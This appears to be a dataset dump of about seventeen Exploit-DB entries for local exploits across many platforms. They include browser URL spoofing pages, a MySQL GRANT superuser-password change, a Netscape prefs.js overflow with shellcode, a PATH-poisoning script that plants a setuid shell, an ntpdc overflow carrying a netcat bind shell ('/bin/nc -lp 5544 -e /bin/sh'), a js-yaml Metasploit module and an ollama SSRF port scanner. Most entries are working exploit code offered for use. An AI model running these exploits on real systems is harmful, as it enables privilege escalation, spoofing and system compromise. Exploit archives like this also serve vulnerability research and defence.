deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10544
Description: Mozilla Firefox - Location Bar Spoofing
Type: local
Platform: multiple
Date: 2009-12-18
Author: Jordi Chancel

Exploit:
# Exploit Title: MOZILLA FIREFOX LOCATION BAR SPOOFING VULNERABILITY
# Date: 2009-12-18
# Author: Jordi Chancel
# Software Link: http://www.mozilla.org/security/announce/2009/mfsa2009-69.html
# Version: Mozilla Firefox 3.0.15 & 3.5.5
# Tested on: Windows XP-VISTA-SEVEN & LINUX BACKTRACK
# CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3985
# DESCRIPTION: {
#		Security researcher Jordi Chancel reported an issue similar to one fixed in mfsa2009-44
#		in which a web page can set document.location to a URL that can't be displayed properly and then inject 
#		content into the resulting blank page. An attacker could use this vulnerability to place a legitimate-looking 
#		but invalid URL in the location bar and inject HTML and JavaScript into the body of the 
#		page, resulting in a spoofing attack.  }
# Code :
<html>
<title>FAKE PAGE</title>
<body onload="javascript:window.location = 'https://www.google.com%20';window.stop();void(0);">
<h1>FAKE PAGE</h1>
</body>
</html>
Exploit-DB #11561
Description: Mozilla Firefox 3.6 - URL Spoofing
Type: local
Platform: multiple
Date: 2010-02-24
Author: anonymous

Exploit:
# Tested on: Windows XP SP2/3
# Code : 
# You can trick a user into accessing a malicious website by using 
the following exploit
# The first link would be the malicious one.


<html>
<body>
<div id="mydiv"
onmouseover="document.location='http://www.youtube.com/watch?v=oHg5S
JYRHA0';"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;bor
der:0px"></div>

<br>
<a href="http://www.yahoo.com" onclick="updatebox(event)"><font
style="font-family:arial;font-
size:32px">http://www.yahoo.com</font></a><br>

</div>
</body>
</html>
Exploit-DB #30039
Description: Multiple Personal Firewall Products - Local Protection Mechanism Bypass
Type: local
Platform: multiple
Date: 2007-05-15
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/23987/info

Multiple personal firewall products are prone to a vulnerability that lets attackers bypass protection mechanisms. This issue occurs because the applications fail to properly implement protection mechanisms based on valid process identifiers.

Exploiting this issue allows local attackers to bypass protection mechanisms implemented to restrict access to the memory space of critical processes. This allows attackers to execute arbitrary code with elevated privileges; other attacks are also possible.

The following applications are vulnerable to this issue:
- Comodo Firewall Pro 2.4.18.184
- Comodo Personal Firewall 2.3.6.81
- ZoneAlarm Pro 6.1.744.001

Other applications and versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30039-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30039-2.zip
Exploit-DB #19721
Description: MySQL 3.22.27/3.22.29/3.23.8 - GRANT Global Password Changing
Type: local
Platform: multiple
Date: 2000-02-15
Author: Viktor Fougstedt

Exploit:
source: https://www.securityfocus.com/bid/926/info


MySQL is a popular RDBMS used by many websites as a back-end. It is possible for users with GRANT access to change passwords for every user in the database (including the mysql superuser). MySQL also ships with a default "test" account which has GRANT privileges and is unpassworded, meaning anyone can connect to the db. These two problems combined can result in a total, remote (and probably anonymous) database compromise. The database can be compromised even if the test account is disabled (given a local user account with GRANT privs).

Exploit: Connect to mysql as any user with grant privileges for any table. The default test users will do nicely. If no databases has been created for the test user, do so. Then alter roots (MySQL's roots, not the real roots!) password with a GRANT. After the code below has been executed, the password of the MySQL superuser 'root' will be 'newpassword'.

> mysql -utest -p
Password:

mysql> CREATE DATABASE test_expl;
Query OK, 1 row affected (0.04 sec)

mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY
+'newpassword';
Query OK, 0 rows affected (0.01 sec)

mysql> exit
Bye
Exploit-DB #19447
Description: NetBSD 1.4 / OpenBSD 2.5 / Solaris 7.0 - 'profil(2)' Modify The Internal Data Space
Type: local
Platform: multiple
Date: 1999-08-09
Author: Ross Harvey

Exploit:
/*
source: https://www.securityfocus.com/bid/570/info

Some *BSD's use a profil(2) system call that dates back to "version 6" unix. This system call arranges for the kernel to sample the PC and increment an element of an array on every profile clock tick.

The security issue stems from the fact that profiling is not turned off when a process execve(2)'s another program image.

As the size and location of this array as well as the scale factor are under the program's control, it is possible to arrange for an arbitrary 16-bit program virtual address to be incremented on each profile clock tick.

Although unlikely, it is theoretically possible that an attacker with local access and knowledge of the addresses used by privileged programs could construct an exploit.

It may be that there are no candidate addresses that, when incremented, result in a security failure. However, as this can turn -1 into 0, and 0 into 1, and as security-related system calls and library functions often return either -1 or 0, this mechanism could turn system call returns of success into failure or failure into success if a program stores system call results into memory locations.
*/

/* This program will check to see if a given system has the profil(2) bug
described in NetBSD Security Advisory 1999-011. If it prints `Counting!'
then you've got it...

At least one system (Solaris) appears to fix the security issue but
doesn't turn off profiling unless the new image is owned by a different
user. To check for this, you need to do something like:

% cc profiltest.c
% su
# cp a.out prog.setuid
# chown (something) prog.setuid
# (possibly make it setuid)
# exit
% ./a.out

If the program doesn't find prog.setuid, it just exec's itself; this
gets the same result on most systems. (So: % cc profiltest.c; ./a.out)

So far, I've only found it in BSD systems. Linux hasn't had profiling
in the kernel for a while, so current versions should not be vulnerable. */

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>

volatile unsigned short twobins[2];

int
main(int ac, char **av)
{

if (ac == 1) {
/* can't check the return value; on some systems it's void */
profil((char *)twobins, sizeof twobins, (u_long)&main, 2);
/* try a different image for uid/setuid tests */
execl("prog.setuid", "tryroot", "-", 0);
/* otherwise, just chain to ourself */
execl(av[0], av[0], "-", 0);
fprintf(stderr, "problems\n");
exit(1);
}
for(;;) {
if (twobins[0] | twobins[1]) {
printf("Counting!\n");
twobins[0] = twobins[1] = 0;
}
}
}

/* ross.harvey@computer.org */
Exploit-DB #52509
Description: NetBT e-Fatura - Privilege Escalation
Type: local
Platform: multiple
Date: 2026-04-10
Author: seccops

Exploit:
# Exploit Title: NetBT e-Fatura - Privilege Escalation
# Author: Seccops
# Discovery Date: 2025-10-03
# Vendor: https://net-bt.com.tr/e-fatura/
# Tested Version: 2024
# Tested on OS: Microsoft Windows Server 2019 DC
# Vulnerability Type: CWE-428 Unquoted Search Path or Element
# CVE: CVE-2025-14018

Note: Thanks "Levent Sungu" for providing the testing environment.

====================
Description & Impact
====================
This vulnerability allows an unauthorized local user to execute arbitrary code with high privileges on the system.

================
Proof of Concept
================

C:\Users\efatura>sc qc InboxProcessor
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: InboxProcessor
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : InboxProcessor
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


C:\Users\efatura\Desktop>accesschk.exe /accepteula -uwdq "C:\inetpub\wwwroot\InboxProcessor\"

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\inetpub\wwwroot\InboxProcessor
  RW BUILTIN\Users
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
Exploit-DB #32055
Description: Netrw Vim Script - 's:BrowserMaps()' Command Execution
Type: local
Platform: multiple
Date: 2008-07-16
Author: Jan Minar

Exploit:
source: https://www.securityfocus.com/bid/30254/info

Netrw is prone to a command-execution vulnerability because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting this issue can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Netrw 127 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32055.zip
Exploit-DB #19692
Description: Netscape Communicator 4.5 - prefs.js Buffer Overflow
Type: local
Platform: multiple
Date: 1999-12-24
Author: Steve Fewer

Exploit:
// source: https://www.securityfocus.com/bid/893/info

Netscape Communicator 4.5 has an unchecked buffer, through which code can be injected for execution via the prefs.js preferences file. This could be exploited locally to run arbitrary code at the privilege level of the current user.

The buffer is overrun if a value over 80 bytes is specified in the 'network.proxy.http' field in prefs.js . The following 4 bytes are written to EBP and the 4 after that go into EIP. The next byte is pointed at by the ESP and is the beginning of the code that will be run. 

/* Stack based buffer overflow exploit for Netscape Navigator 4.5
* Author Steve Fewer, 22-12-99. Mail me at darkplan@oceanfree.net
*
* Netscape Navigator causes a buffer overflow when reading from
* the users "prefs.js" file. If it reads a string longer than 80
* bytes in the user_pref("network.proxy.http", "proxy.com");
* field it smashes the stack overwrighting the EIP and EBP. This
* can be used to execute arbitrary code.
*
* Tested with Netscape Navigator 4.5 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
*/

#include <stdio.h>
#include <string.h>

int main()
{

printf("\n\n\t\t........................................\n");
printf("\t\t.....Netscape Navigator 4.5 exploit.....\n");
printf("\t\t........................................\n");
printf("\t\t.....Author: Steve Fewer, 22-12-1999....\n");
printf("\t\t.........http://indigo.ie/~lmf..........\n");
printf("\t\t........................................\n\n");

// the first 80 bytes. These get blown away when the stack goes down.
char buff[96];
// the EBP, we don't need to use it so fill it with B's
char ebp[8] = "BBBB";
// we point the EIP into msvcrt.dll v6.00.8397.0 where we find a JMP ESP
@ 7FD035EB
char eip[8] = "\xEB\x35\xD0\x7F";
// the is our 'arbitrary code', it just runs a file app.exe from the
\WINDOWS\COMMAND directory then calls exit() to clean up
char sploit[128] =
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x61\xC6\x45\xF9\x70
\xC6\x45\xFA\x70\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6
\x45\xFE\x65\xB8\x24\x98\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x55
\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xF
";
FILE *file;
for(int i=0;i<80;i++)
{
buff[i] = 0x90;
}
// just create our new, 'trojand' prefs.js file
file = fopen("prefs.js","wb");
// and slap in the the nasty sploit
fprintf(file,"user_pref(\"network.proxy.http\", \"%s%s%s%s\");", buff,
ebp, eip, sploit);

printf("\t created file prefs.js loaded with the exploit.\n");

return 0;
}
Exploit-DB #19912
Description: Netscape Communicator 4.5/4.51/4.6/4.61/4.7/4.72/4.73 - '/tmp' Symlink
Type: local
Platform: multiple
Date: 2000-05-10
Author: foo

Exploit:
source: https://www.securityfocus.com/bid/1201/info

Netscape Communicator version 4.73 and prior may be susceptible to a /tmp file race condition when importing certificates. Netscape creates a /tmp file which is world readable and writable in /tmp, without calling stat() or fstat() on the file. As such, it is possible, should a user be able to predict the file name, to cause a symbolic link to be created, and followed elsewhere on the file system. 

Additionally, as the file is created mode 666 prior to being fchmod()'d to 600, there may be a window of opportunity for altering the contents of this file.

This issue has only been demonstrated on the Linux binary, for glibc. The sparc Solaris binary does not behave this way.

Predict the name of the temporary file.
ln -sf /elsewhere /tmp/<tmpfilename>

Alternately, a program which watches for the creation of these temporary files, opens them upon their creation, and alters the contents can be written.
Exploit-DB #28655
Description: Nodejs - 'js-yaml load()' Code Exec (Metasploit)
Type: local
Platform: multiple
Date: 2013-09-30
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nodejs js-yaml load() Code Exec',
      'Description'    => %q{
        For node.js applications that parse user-supplied YAML input using the
        load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
        function allows us to execute arbitrary javascript code.
      },
      'Author'         => ['joev <jvennix[at]rapid7.com>'],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-4660'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>  [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2013',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ], self.class)
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end
Exploit-DB #19704
Description: Nortel Networks Optivity NETarchitect 2.0 - PATH
Type: local
Platform: multiple
Date: 1999-12-30
Author: Loneguard

Exploit:
source: https://www.securityfocus.com/bid/907/info

NETarchitect is an application for simplifying the task of designing and deploying complex switched network system configurations, produced by Nortel Networks and usually shipped with the Optivity Network Configuration System suite of utilities. It is possible to gain root privileges on an HP-UX (possibly Solaris) system running NETarchitect by exploiting a path vulnerability in the binary /opt/bna/bin/bna_pass. bna_pass executes 'rm' assuming that the end user's PATH value is valid and the real rm binary is in the one being called.Because of this, it is possible to have bna_pass execute arbitrary binaries as root if the PATH variable is manipulated. A malicious user can add "." to his PATH environment variable and have binaries searched for and executed in . before any others [directories in PATH]. A false 'rm' would then be executed, compromising the system.

#!/bin/sh
#
# bna.sh - Loneguard 03/03/99
#
# Poision path xploit for Optivity NETarchitect on HPUX
#
cd /tmp
touch /usr/bna/tmp/.loginChk
PATH=.:$PATH;export PATH
cat > rm << _EOF
#!/bin/sh
cp /bin/csh /tmp/kungfu
chmod 4755 /tmp/kungfu
_EOF
chmod 755 /tmp/rm
/opt/bna/bin/bna_pass
Exploit-DB #35732
Description: Ntpdc 4.2.6p3 - Local Buffer Overflow
Type: local
Platform: multiple
Date: 2015-01-08
Author: drone

Exploit:
# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/

from os import system, environ
from struct import pack
import sys

#
# ntpdc 4.2.6p3 bof
# @dronesec
# tested on x86 Ubuntu 12.04.5 LTS
#

IMAGE_BASE = 0x80000000
LD_INITIAL_OFFSET = 8900
LD_TAIL_OFFSET = 1400

sploit = "\x41" * 485        # junk 
sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip
sploit += "\x41" * 79        # junk 
sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode

ld_pl = ""
ld_pl += pack("<I", 0xeeffffff) # ESI
ld_pl += pack("<I", 0x11366061) # EDI
ld_pl += pack("<I", 0x41414141) # EBP
ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET
ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI
ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong

environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"

for idx in xrange(200):

    for inc in xrange(200):

        ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx)
        ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc)

        environ["LD_PRELOAD"] = ld_pl
        system("echo %s | ntpdc 2>&1" % sploit)
Exploit-DB #32501
Description: NXP Semiconductors MIFARE Classic Smartcard - Multiple Vulnerabilities
Type: local
Platform: multiple
Date: 2008-10-21
Author: Flavio D. Garcia

Exploit:
source: https://www.securityfocus.com/bid/31853/info

MIFARE Classic is prone to multiple security weaknesses:

1. A security weakness may allow attackers to recover the internal state of the linear feedback shift register.

2. A security weakness may allow attackers to recover the previous state of the linear feedback shift register.

3. A security weakness may allow attackers to invert the filter function and potentially gain access to the private key.

4. A security weakness may allow attackers to reduce the search space for tag nonces.

Exploiting these issues in combination may allow attackers to gain access to the smartcard's secret key. Successful exploits will allow attackers with physical access to an RFID reader to bypass certain physical security restrictions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32501.tgz
Exploit-DB #52116
Description: ollama 0.6.4 - Server Side Request Forgery (SSRF)
Type: local
Platform: multiple
Date: 2025-04-03
Author: sud0

Exploit:
# Exploit Title: ollama 0.6.4 - SSRF
# Date: 2025-04-03
# Exploit Author: sud0
# Vendor Homepage: https://ollama.com/
# Software Link: https://github.com/ollama/ollama/releases
# Version: <=0.6.4
# Tested on: CentOS 8

import argparse
import requests
import json
from urllib.parse import urljoin

def check_port(api_base, ip, port):
    api_endpoint = api_base.rstrip('/') + '/api/create'
    
    model_path = "mynp/model:1.1"
    target_url = f"https://{ip}:{port}/{model_path}"
    payload = {
        "model": "mario",
        "from": target_url,
        "system": "You are Mario from Super Mario Bros."
    }

    try:
        response = requests.post(api_endpoint, json=payload, timeout=10, stream=True)
        response.raise_for_status()

        for line in response.iter_lines():
            if line:
                try:
                    json_data = json.loads(line.decode('utf-8'))
                    if "error" in json_data and "pull model manifest" in json_data["error"]:
                        error_msg = json_data["error"]
                        model_path_list = model_path.split(":", 2)
                        model_path_prefix = model_path_list[0]
                        model_path_suffix = model_path_list[1]
                        model_path_with_manifests = f"{model_path_prefix}/manifests/{model_path_suffix}"
                        if model_path_with_manifests in error_msg:
                            path_start = error_msg.find(model_path_with_manifests)
                            result = error_msg[path_start+len(model_path_with_manifests)+3:] if path_start != -1 else ""
                            print(f"Raw Response: {result}")
                        if "connection refused" in error_msg.lower():
                            print(f"[!] Port Closed - {ip}:{port}")
                        else:
                            print(f"[+] Port Maybe Open - {ip}:{port}")
                        return
                except json.JSONDecodeError:
                    continue

        print(f"[?] Unkown Status - {ip}:{port}")

    except requests.exceptions.RequestException as e:
        print(f"[x] Execute failed: {str(e)}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ollama ssrf - port scan")
    parser.add_argument("--api", required=True, help="Ollama api url")
    parser.add_argument("-i", "--ip", required=True, help="target ip")
    parser.add_argument("-p", "--port", required=True, type=int, help="target port")
    args = parser.parse_args()
    
    check_port(args.api, args.ip, args.port)
Exploit-DB #19967
Description: Omnis Studio 2.4 - Weak Database Field Encryption
Type: local
Platform: multiple
Date: 2000-05-25
Author: Eric.Stevens

Exploit:
source: https://www.securityfocus.com/bid/1255/info

Omnis Studio 2.4 is a development tool for creating database applications. The tool gives developers the option to encrypt database entries. However, the encryption scheme used is weak and easily broken with any scientific calculator (or even pen and paper, if the attacker has a good knowlege of hex and ASCII). Each unencrypted byte is simply replaced with a value that depends on that byte's original value and the remainder of its position in the string divided by 4.

Note that this vulnerability does not affect the security of Omnis Studio directly, but will be present in all applications that were designed using Omnis Studio. 

e=encrypted byte
p=byte's position in the string, mod 4.
u = unencrypted byte

u=e-89+((3p^2-3p)/2)
Exploit-DB #21856
Description: OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification
Type: local
Platform: multiple
Date: 2002-09-25
Author: Mike Riley

Exploit:
source: https://www.securityfocus.com/bid/5790/info

An issue with the UCX POP (Post Office Protocol) server used by OpenVMS has been reported. It is possible for a malicous local user to overwrite arbitrary files on the filesystem by exploiting a vulnerability in the UCX POP server.

$
$ break_it :== $sys$system:ucx$pop_server.exe
$ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE